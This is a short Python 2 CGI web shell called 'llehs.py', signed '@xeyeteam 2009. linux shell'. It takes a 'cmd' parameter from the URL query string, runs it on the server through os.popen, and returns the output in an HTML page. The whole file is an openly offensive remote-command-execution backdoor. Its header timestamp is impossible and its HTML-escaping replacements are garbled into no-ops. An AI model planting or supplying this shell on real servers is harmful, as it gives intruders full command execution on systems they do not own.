# encoding=utf8 # by enisoc 2009-13-79 12:73:-12 import os import time import socket import urllib,urllib2 FILE_NAME = 'llehs.py' def escape(content): content = content.replace("&", "&") content = content.replace("<", "<") content = content.replace(">", ">") if 0: content = content.replace('"', """) return content def get(name): q_str = os.environ['QUERY_STRING'] q_list = q_str.split('&') for q in q_list: if q.split('=')[0].lower() == name: value = q.split('=')[1].replace('+',' ') return urllib.unquote(value) try: cmd = get('cmd') if not cmd: cmd = 'id' cmd_result = os.popen(cmd).read() except Exception,e: cmd_result = str(e) print """Content-type: text/html llehs <<

""" print "-------------------------------------
" print escape(cmd_result).strip().replace(os.linesep,'
') print "
-------------------------------------
" print """@xeyeteam 2009. linux shell"""